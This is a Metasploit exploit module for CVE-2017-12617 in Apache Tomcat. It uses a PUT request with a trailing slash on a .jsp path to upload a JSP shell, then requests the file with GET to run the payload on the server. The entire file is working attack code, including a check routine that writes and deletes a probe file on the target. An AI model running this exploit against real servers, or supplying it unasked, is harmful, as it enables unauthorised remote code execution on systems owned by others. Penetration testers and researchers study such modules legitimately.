##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tomcat RCE via JSP Upload Bypass',
        'Description' => %q{
          This module uses a PUT request bypass to upload a jsp shell to a vulnerable Apache Tomcat configuration.
        },
        'Author' => 'peewpw',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-12617' ],
          [ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ],
          [ 'EDB', '42966' ]
        ],
        'Privileged' => false,
        'Platform' => %w[linux win], # others?
        'Targets' => [
          [
            'Automatic',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ],
          [
            'Java Windows',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ],
          [
            'Java Linux',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'linux'
            }
          ]
        ],
        'DisclosureDate' => '2017-10-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path of the Tomcat installation', '/']),
      Opt::RPORT(8080)
    ])
  end

  def check
    testurl = Rex::Text.rand_text_alpha(10)
    testcontent = Rex::Text.rand_text_alpha(10)

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
      'method' => 'PUT',
      'data' => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
      'method' => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
        'method' => 'DELETE'
      )
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status('Uploading payload...')
    testurl = Rex::Text.rand_text_alpha(10)

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
      'method' => 'PUT',
      'data' => payload.encoded
    })
    if res && res.code == 201
      res1 = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
        'method' => 'GET'
      })
      if res1 && res1.code == 200
        print_status('Payload executed!')
      else
        fail_with(Failure::PayloadFailed, 'Failed to execute the payload')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
    end
  end

end